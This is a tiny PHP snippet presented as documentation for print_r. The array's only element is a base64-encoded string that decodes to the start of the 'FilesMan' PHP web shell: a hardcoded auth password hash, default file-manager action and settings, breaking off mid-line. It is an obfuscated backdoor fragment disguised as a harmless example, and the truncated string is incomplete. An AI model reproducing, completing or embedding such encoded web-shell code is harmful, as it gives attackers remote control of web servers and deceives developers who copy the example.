- print_r: documentation ( source)
<?php
$arr = array(
0=> "JGF1dGhfcGFzcyA9ICI4NzQwN2EwZDFiN2UxOGM4ZjM1YjcyMjQxMTY2MzkyNSI7CiR1c2VhY2UgPSB0cnVlOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwoKaWYoIWVtcHR5KCRfU0VSVkVS"
);
print_r($arr);